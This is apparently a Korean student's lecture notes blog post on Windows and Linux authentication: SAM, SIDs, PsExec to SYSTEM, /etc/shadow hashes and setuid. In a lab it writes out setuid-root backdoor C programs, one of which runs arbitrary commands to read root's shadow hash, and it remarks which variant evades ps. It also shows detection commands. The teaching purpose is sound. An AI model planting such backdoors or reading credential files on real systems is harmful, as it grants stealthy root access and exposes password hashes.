• dll 이해
  • 운영체제 인증구조
    • 리눅스
    • 윈도우
  • 패스워드 크랙
  • 운영체제 인증과 관련된 공격 유형

 

윈도우 인증 구조(1)

로그인창 - Winlogon

  • GINA
    • id를 받는 라이브러리 / pw 받는 라이브러리 존재 ⇒ 인증 과정 (인증 > 식별 > 인가)
    • LSA, SRM ⇒ 식별
      • SAM 파일
        • 레지스트리(응용 프로그램의 DB) 하이브 파일
        • System 계정이 잡고 있어 삭제 불가

윈도우 인증 구조(2)

로컬 보안 인증

SRM - 커널 레벨의 모듈

SAM 과정 - SAM 파일에 매핑(식별) - ID/PW 존재 여부 확인 - 존재 확인 시 SID 획득

C:\\Users\\student>whoami
m1307\\student

C:\\Users\\student>whoami /user

사용자 정보
----------------

사용자 이름   SID
============= ============================================
m1307\\student S-1-5-21-1959215730-845211034-832152547-1001

C:\\Users\\student>wmic UserAccount Where LocalAccount=True Get SID
SID
S-1-5-21-1959215730-845211034-832152547-500
S-1-5-21-1959215730-845211034-832152547-503
S-1-5-21-1959215730-845211034-832152547-501
S-1-5-21-1959215730-845211034-832152547-1001
S-1-5-21-1959215730-845211034-832152547-504

500번대 - administrator 계정

1000번대 - 일반 유저 계정

일반 유저 계정을 만들고 해당 계정에 administrator 권한을 부여해서 크랙

 

작업 그룹(=액티브 디렉토리(AD), Work Group) / 강의장 내 모든 PC가 동일

회사 문서 공유를 AD로 한다(혹은 NFS를 활용)

모든 운영체제는 자원 공유를 하려고 한다. 윈도우는 AD를 사용

자격 증명 - 단말기 인증

고스트 이미지를 만들어서 강의장 내 모든 pc에 덮어씌움

레지스트리 편집기(regedit)

Administrator 권한으로 열림

SYSTEM 계정이 잡고 있기 때문에 Administrator 권한으로는 regedit에서 SAM 내부를 확인할 수 없음

 

Sysinternals - Sysinternals

“[운영체제] Sysinternals” → 높은 도메인 지식 필요

권한 상승은 합법적이지 않음

합법적으로 쓰는 방법

PsTools - Sysinternals

Microsoft Windows [Version 10.0.22631.5699]
(c) Microsoft Corporation. All rights reserved.

C:\\Users\\student\\Downloads\\PSTools>PsExec.exe -i -d -s c:\\windows\\regedit.exe

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\\windows\\regedit.exe started on M1307 with process ID 11660.

C:\\Users\\student\\Downloads\\PSTools>PsExec.exe -i -d -s c:\\windows\\regedit.exe /accepteula

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com

c:\\windows\\regedit.exe started on M1307 with process ID 5704.

 

SAM 하위 내용 확인 가능

Users > 3E9 와 Users > Names > student 의 hex값 동일

식별 시 SAM 확인

사용자 계정과 관련된 하이브 파일 안에 인증 데이터가 존재함. → 식별 과정에서 사용됨 → SID 부여 (=인가)

 

psexec을 사용해 시스템 권한으로(-s) cmd 열기 가능 - 권한 상승

프로세스 탐색기 - Sysinternals

64비트 exe 파일 관리자 권한으로 실행

 

secure system - 윈도우 미티게이션 - 윈도우 보안 방법

idle process - 대기 상태

system > interrupts

인터럽트(interrupt) 라고 한다. 즉, CPU의 정상적인 프로그램 실행 을 방해했다는 의미다. 동작하고 있는 상태를 변환시키기 위해 사용하는 것이 interrupt 프로그램의 동작 컨트롤

kill - 프로세스를 singal 을 사용해 프로세스 컨트롤 - interrupt

memory compression - 메모리 미티게이션

wininit.exe > lsass.exe

과거 winlogon에 존재하던 프로세스들(lsass, services)이 wininit으로 분리되어 처리 프로세스가 바뀜

cmd가 목록에 없음 - 하위에 존재한다는 뜻 - explorer.exe에 존재.

윈도우란, 로그인을 해서 explorer.exe로 환경을 새로 만드는 것

악성코드를 다운로드 받아도 explorer.exe 아래에 존재.

그 밖에 존재 - 권한이 더 높은 것

 

system 계정으로 cmd를 열면 상위 레벨로 cmd 프로세스가 존재

pc를 껐다 켰는데 악성 프로그램이 존재한다 = 어디서 동작하는 것?

explorer.exe에 동작한다 = 해당 환경에서 다운로드 및 실행

악성코드가 다른 경로로 (≠ explorer.exe) 존재. (e.g. 시작 프로그램)

 

프로세스 모니터 - Sysinternals

Windows용 TCPView - Sysinternals

[user@client ~]$ sudo grep ^user /etc/shadow
[sudo] password for user: 
user:$6$.TDwbnua0j7gVg1r$HfQAKKvWPQ1XWJRnAuXx91laPryRktoWx.IMvO8eqN0OsnXItkhsfmA4nTFsAz05tFDGQONvh6tfuv8Ky8DeU0::0:99999:7:::
# 1   MD5    5    SHA256   6   SHA512  y/7 yescrpt 
# TDwbnua0j7gVg1r => salt
# HfQAKKvWPQ1XWJRnAuXx91laPryRktoWx.IMvO8eqN0OsnXItkhsfmA4nTFsAz05tFDGQONvh6tfuv8Ky8DeU0 => hash
[user@client ~]$ sudo pwunconv 
[user@client ~]$ sudo grep ^user /etc/shadow | head -1
grep: /etc/shadow: No such file or directory
[user@client ~]$ sudo grep ^user /etc/passwd | head -1
user:$6$.TDwbnua0j7gVg1r$HfQAKKvWPQ1XWJRnAuXx91laPryRktoWx.IMvO8eqN0OsnXItkhsfmA4nTFsAz05tFDGQONvh6tfuv8Ky8DeU0:1000:1023:user:/home/user:/bin/bash

/etc/* - 모든 사용자 읽기 가능

$ sudo pwunconv
$ ls -l /etc/shadow /etc/passwd # shadow 존재하지 않음, passwd는 존재
$ sudo pwconv # shadow 다시 생성, passwd 비밀번호 x로 다시 변경됨

UID

GID

EUID

  • effective uid
  • 실행 시 상속되는 권한
  • 파일의 metadata - stat [arg]
[user@client ~]$ **stat** /etc/passwd
  File: /etc/passwd
  Size: 2258      	Blocks: 8          IO Block: 4096   regular file
Device: fd00h/64768d	Inode: 33728784    Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Context: system_u:object_r:passwd_file_t:s0
Access: 2025-11-17 11:25:08.738160975 +0900
Modify: 2025-11-17 11:25:08.726161050 +0900
Change: 2025-11-17 11:25:08.732161013 +0900
 Birth: 2025-11-17 11:25:08.726161050 +0900
  • 윈도우는 ‘실행 권한’을 따로 설정하지 않는다.
    • regedit > HKEY_CLASSES_ROOT
    • 응용 프로그램을 확장자 별로 명시
    • 사용자가 상속받는 권한이 중요해짐
  • 리눅스 관련
    • RBAC 관점에서 sudoers는 유출되어서는 안되는 계정
    • 사용자의 권한은 제한적이어야 함

EGID

  • setuid
[user@client ~]$ which passwd
/usr/bin/passwd
[user@client ~]$ ls -l /usr/bin/passwd
-rwsr-xr-x. 1 root root 32656 May 15  2022 /usr/bin/passwd
[user@client ~]$ ls -l /etc/shadow
-r--------. 1 root root 1660 Nov 17 11:25 /etc/shadow
  • setgid

EUID 이해

  • 실행 시 상속받게 되는 권한
  • 보통 실행 시 소유자의 권한 == EUID
  • SETUID 권한은 실행 시 파일의 소유자 권한을 EUID 권한에 셋 하여 실행하는 함수
[user@client tmp]$ cat > test1.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main()
{
	printf("RUID : %d, EUID : %d\\n", getuid(), geteuid());
	**setuid(0); # root로 권한 상승**
	printf("RUID : %d, EUID : %d\\n", getuid(), geteuid());
	**system("/bin/bash"); # 상승된 권한으로 bash 실행**
}
[user@client tmp]$ gcc -o test1 test1.c # 컴파일
[user@client tmp]$ ls -l | grep test1
-rwxr-xr-x. 1 user basic-group 17648 Nov 17 13:08 test1
-rw-r--r--. 1 user basic-group   180 Nov 17 13:08 test1.c
[user@client tmp]$ sudo chown root test1
[sudo] password for user: 
[user@client tmp]$ ls -l | grep test1
-rwxr-xr-x. 1 root basic-group 17648 Nov 17 13:08 test1
-rw-r--r--. 1 user basic-group   180 Nov 17 13:08 test1.c
[user@client tmp]$ sudo chmod u+s test1
[user@client tmp]$ ls -l | grep test1
-rwsr-xr-x. 1 root basic-group 17648 Nov 17 13:08 test1
-rw-r--r--. 1 user basic-group   180 Nov 17 13:08 test1.c
[user@client tmp]$ ./test1
RUID : 1000, EUID : 0
RUID : 0, EUID : 0

강사님 계정 접속

[user@lb tmp]$ ./test1 # 권한 상승
RUID : 1000, EUID : 0
RUID : 0, EUID : 0
[root@lb tmp]$ w # w 명령어로는 권한 상승 확인 불가
 13:27:07 up  2:12, 21 users,  load average: 0.59, 0.86, 0.59
USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT
user     seat0     13:18    0.00s  0.00s  0.00s /usr/libexec/gdm-wayland-sessio
user     tty2      13:18    2:13m  0.03s  0.03s /usr/libexec/gnome-session-bina
user     pts/1     13:20   17.00s  0.06s  0.03s sshd: user [priv]   
user     pts/2     13:20   22.00s  0.02s  0.02s -bash
user     pts/3     13:20    3.00s  0.05s  0.02s sshd: user [priv]   
user     pts/4     13:20   59.00s  0.01s  0.02s sshd: user [priv]   
user     pts/5     13:20    5:10   0.00s  0.00s -bash
user     pts/6     13:20    1.00s  0.01s  0.01s -bash
user     pts/7     13:20    2:17   0.02s  0.02s -bash
user     pts/8     13:20    5:54   0.00s  0.00s -bash
user     pts/9     13:20   46.00s  0.02s  0.02s sshd: user [priv]   
user     pts/10    13:20   59.00s  0.03s  0.02s sshd: user [priv]   
user     pts/11    13:21    3.00s  0.03s  0.02s sshd: user [priv]   
user     pts/12    13:20   11.00s  0.05s  0.01s /bin/bash
user     pts/13    13:20    1.00s  0.03s  0.02s sshd: user [priv]   
user     pts/14    13:20   11.00s  0.02s  0.02s -bash
user     pts/15    13:20    5:23   0.01s  0.01s -bash
user     pts/16    13:20   51.00s  0.04s  0.01s sshd: user [priv]   
user     pts/17    13:20   43.00s  0.02s  0.01s sshd: user [priv]   
user     pts/18    13:21    0.00s  0.01s  0.01s sshd: user [priv]   
user     pts/19    13:26   19.00s  0.01s  0.01s -bash
[root@lb tmp]$ sudo ps -ef | grep pts/17 # 해당 명령어로 확인 가능
user        5029    4930  0 13:20 ?        00:00:00 sshd: user@pts/17
**user**        5030    5029  0 13:20 pts/17   00:00:00 -bash
**root**        6204    5030  0 13:26 pts/17   00:00:00 ./test1 # 권한 상승 확인
root        6205    6204  0 13:26 pts/17   00:00:00 /bin/bash
root        6528    6297  0 13:27 pts/18   00:00:00 grep --color=auto pts/17

물고 들어가면 확인 가능 - 이런 형태의 백도어는 잘 쓰지 않는다. 추적되기 쉽기 때문에

상속받은 채로 쉘을 여는 것은 막혀있음.

[user@client tmp]$ cat > test2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

main() {
        setuid(0);
        system("/bin/vi");
}

[user@client tmp]$ sudo gcc -o test2 test2.c
test2.c:5:1: warning: return type defaults to ‘int’ [-Wimplicit-int]
    5 | main() {
      | ^~~~
[user@client tmp]$ ls -l | grep test2
-rwxr-xr-x. 1 root root          17496 Nov 17 13:42 test2
-rw-r--r--. 1 user basic-group     103 Nov 17 13:42 test2.c

test2 실행 → vi 실행됨 → :!/bin/bash 입력 → root shell 열림 → exit → vi 실행됨

우회 방법

[user@client tmp]$ cat > test3.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
        char exec[100];
        setuid(0);
        sprintf(exec, "%s 2> /dev/null", argv[1]);
        system(exec); # 명령어를 내릴 때만 권한 상승
}

[user@client tmp]$ sudo gcc -o test3 test3.c 
[user@client tmp]$ ls -l | grep test3
-rwxr-xr-x. 1 root root          17552 Nov 17 14:05 test3
-rw-r--r--. 1 user basic-group     183 Nov 17 14:05 test3.c
[user@client tmp]$ sudo chmod u+s test3
[user@client tmp]$ ls -l | grep test3
-rwsr-xr-x. 1 root root          17552 Nov 17 14:09 test3
-rw-r--r--. 1 user basic-group     185 Nov 17 14:09 test3.c
[user@client tmp]$ **grep ^root /etc/shadow**
grep: /etc/shadow: Permission denied
[user@client tmp]$ **./test3 "grep ^root /etc/shadow"**
root:$6$rounds=100000$MR.qG83sYzuDRPjk$nUteRJVm/iCMZD..NKx5ie973sO8DkEHpTLsYWli.C/JBGNanpD2s2P9bpVTZFvxIY0UHlCwdPPMSmbDerV8v1:20409:0:99999:7:::

test3을 실행해도 ps -ef로 권한 상승 기록이 확인 안됨

[user@client tmp]$ sudo ps -ef | grep pts/1
user        4471    3502  0 13:24 pts/1    00:00:00 bash
user        4618    4471  0 13:36 pts/1    00:00:00 bash
user        4648    4618  0 13:36 pts/1    00:00:00 bash
user        4789    4648  0 13:45 pts/1    00:00:00 ./test2
user        4790    4789  0 13:45 pts/1    00:00:05 /usr/bin/vim
user        4791    4790  0 13:45 pts/1    00:00:00 /bin/bash
root        5060    4791  0 14:14 pts/1    00:00:00 sudo ps -ef
user        5061    4791  0 14:14 pts/1    00:00:00 grep --color=auto pts/1
root        5063    5060  0 14:14 pts/1    00:00:00 ps -ef

setuid 설정된 파일 확인

[user@client tmp]$ sudo find . -type f -user 0 \\( -perm -4000 -o -perm -2000 \\) -ls
 16812496   1360 -rwsr-xr-x   1 root     root      1389024 Nov 17 13:34 ./bash2
 16812508     20 -rwsr-xr-x   1 root     root        17552 Nov 17 14:09 ./test3
 16812501     20 -rwsr-xr-x   1 root     basic-group    17648 Nov 17 13:08 ./test1

4000 or 6000을 찾아줌. but 현재 os 버전에서 실행 안됨

$ sudo find . -type f -user 0 -perm +6000 -ls

runlevel

rc = run control (과거 사용하던 용어)

[user@client tmp]$ cd /etc/rc.d
[user@client rc.d]$ runlevel
N 5
[user@client rc.d]$ who -r
         run-level 5  2025-11-17 11:15
[user@client rc.d]$ init 6
# 재부팅됨

wininit

~~init 라는 용어를 os마다 초기화 프로세스에서 많이 사용

systemd ( systemctl )

데몬 컨트롤 = 부팅 시 서비스를 제어

→ 자원 낭비 / 포트가 열려있을 가능성 / 하드닝을 통해 불필요한 것을 관리

runlevel 0~6

  • 0, 1, 2, 4은 부팅 시 사용 안함 (4: reserved(안씀))
  • 3: cli
  • 5: gui
  • 6: reboot
[user@client ~]$ ls -l /etc/rc.d/
total 4
drwxr-xr-x. 2 root root  20 Nov 11 13:56 init.d
-rw-r--r--. 1 root root 474 Nov  4 17:15 rc.local

init.d는 과거의 흔적

rc.local

  • rc script 에 의해 부팅 과정 중 마지막에 읽어 들이는 파일
  • 구시대 유물

rpm -qf

신통방통한 패키지의 출처를 찾을 때

백도어가 심어진 변조된 패키지 확인할 때도 rpm에 옵션 걸어 확인 가능 (-ql, -qf, -V)

[user@client ~]$ which awk
/usr/bin/awk
[user@client ~]$ rpm -qf /usr/bin/awk
gawk-5.1.0-6.el9.x86_64
# 명령어 또는 실행 바이너리와 패키지 
$ which awk
/usr/bin/awk
$ rpm -qf /usr/bin/awk
gawk-5.1.0-6.el9.x86_64
$ rpm -qi gawk
$ rpm -ql gawk
$ rpm -V gawk

Autoruns

자동 실행 - Sysinternals

뒤에 c 붙은 파일은 cli 환경

 

HKCU

CU: current user

부팅하지 않으면 HKEY_CURRENT_USER / HKEY_CURRENT_CONFIG 존재하지 않음

추후 레지스트리 분석 시 참고

\Run : 시작 프로그램과 관련

 

'OS' 카테고리의 다른 글

Shell Script  (0) 2025.11.06
리눅스 운영 vol.2  (0) 2025.10.21
리눅스 운영 vol.1  (0) 2025.10.13
운영체제 개요 ch.06~ch.08  (0) 2025.09.22
운영체제 개요 ch.01~ch.05  (0) 2025.09.18

+ Recent posts